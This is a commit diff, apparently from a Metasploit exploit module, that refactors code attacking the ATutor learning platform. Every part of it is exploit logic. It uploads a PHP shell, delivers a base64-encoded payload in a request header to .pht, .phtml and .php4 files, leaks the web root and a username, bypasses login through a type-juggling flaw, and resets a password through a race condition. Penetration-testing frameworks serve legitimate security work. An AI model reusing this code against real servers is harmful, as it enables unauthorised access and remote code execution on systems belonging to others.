@@ -129,7 +129,7 @@ def found
129
129
'method' => 'GET' ,
130
130
'uri' => normalize_uri ( target_uri . path , "mods" , "#{ @payload_name } .txt" ) ,
131
131
} )
132
- if res . code == 200 and res . body =~ /#{ @test_string } /
132
+ if res and res . code == 200 and res . body =~ /#{ @test_string } /
133
133
return true
134
134
end
135
135
return false
@@ -141,34 +141,30 @@ def disclose_web_root
141
141
'uri' => normalize_uri ( target_uri . path , "jscripts" , "ATutor_js.php" ) ,
142
142
} )
143
143
@webroot = "/"
144
- @webroot << $1 if res . body =~ /\< b\> \/ (.*)jscripts\/ ATutor_js\. php\< \/ b\> /
144
+ @webroot << $1 if res and res . body =~ /\< b\> \/ (.*)jscripts\/ ATutor_js\. php\< \/ b\> /
145
145
if @webroot != "/"
146
146
return true
147
147
end
148
148
return false
149
149
end
150
150
151
- def exec_code
152
- # pwnage
153
- res = nil
151
+ def call_php ( ext )
154
152
res = send_request_cgi ( {
155
153
'method' => 'GET' ,
156
- 'uri' => normalize_uri ( target_uri . path , "mods" , "#{ @payload_name } .pht " ) ,
154
+ 'uri' => normalize_uri ( target_uri . path , "mods" , "#{ @payload_name } .#{ ext } " ) ,
157
155
'raw_headers' => "#{ @header } : #{ Rex ::Text . encode_base64 ( payload . encoded ) } \r \n "
158
156
} , timeout = 0.1 )
157
+ return res
158
+ end
159
+
160
+ def exec_code
161
+ res = nil
162
+ res = call_php ( "pht" )
159
163
if res == nil
160
- res = send_request_cgi ( {
161
- 'method' => 'GET' ,
162
- 'uri' => normalize_uri ( target_uri . path , "mods" , "#{ @payload_name } .phtml" ) ,
163
- 'raw_headers' => "#{ @header } : #{ Rex ::Text . encode_base64 ( payload . encoded ) } \r \n "
164
- } , timeout = 0.1 )
164
+ res = call_php ( "phtml" )
165
165
end
166
166
if res == nil
167
- res = send_request_cgi ( {
168
- 'method' => 'GET' ,
169
- 'uri' => normalize_uri ( target_uri . path , "mods" , "#{ @payload_name } .php4" ) ,
170
- 'raw_headers' => "#{ @header } : #{ Rex ::Text . encode_base64 ( payload . encoded ) } \r \n "
171
- } , timeout = 0.1 )
167
+ res = call_php ( "php4" )
172
168
end
173
169
end
174
170
@@ -191,11 +187,7 @@ def upload_shell(cookie, check)
191
187
return true
192
188
end
193
189
# unknown failure...
194
- if res && res . body =~ /Missing zlib extensions/
195
- fail_with ( Failure ::NotVulnerable , 'Server is missing zlib extensions' )
196
- else
197
- fail_with ( Failure ::Unknown , 'Unable to upload php code' )
198
- end
190
+ fail_with ( Failure ::Unknown , "Unable to upload php code" )
199
191
return false
200
192
end
201
193
@@ -209,7 +201,7 @@ def find_user(cookie)
209
201
# use that session to leak the username
210
202
'agent' => ''
211
203
} )
212
- username = "#{ $1} " if res . body =~ /<span id="login">(.*)<\/ span>/
204
+ username = "#{ $1} " if res and res . body =~ /<span id="login">(.*)<\/ span>/
213
205
if username
214
206
return username
215
207
end
@@ -251,7 +243,7 @@ def type_juggle
251
243
fail_with ( Failure ::Unknown , "Unable to exploit the type juggle and bypass authentication" )
252
244
end
253
245
254
- def reset_password ( )
246
+ def reset_password
255
247
# this is due to line 79 of password_reminder.php
256
248
days = ( Time . now . to_i /60 /60 /24 )
257
249
# make a semi strong password, we have to encourage security now :->
@@ -279,13 +271,13 @@ def reset_password()
279
271
fail_with ( Failure ::Unknown , "Unable to exploit the TOCTOU and reset the password" )
280
272
end
281
273
282
- def login ( username , hash , check = false )
283
- password = Rex ::Text . sha1 ( Rex ::Text . sha1 ( hash ) )
274
+ def login ( username , password , check = false )
275
+ hash = Rex ::Text . sha1 ( Rex ::Text . sha1 ( password ) )
284
276
res = send_request_cgi ( {
285
277
'method' => 'POST' ,
286
278
'uri' => normalize_uri ( target_uri . path , "login.php" ) ,
287
279
'vars_post' => {
288
- 'form_password_hidden' => password ,
280
+ 'form_password_hidden' => hash ,
289
281
'form_login' => username ,
290
282
'submit' => 'Login' ,
291
283
'token' => '' ,
@@ -299,7 +291,7 @@ def login(username, hash, check=false)
299
291
end
300
292
end
301
293
# auth failed if we land here, bail
302
- if not check
294
+ unless check
303
295
fail_with ( Failure ::NoAccess , "Authentication failed with username #{ username } " )
304
296
end
305
297
return nil
0 commit comments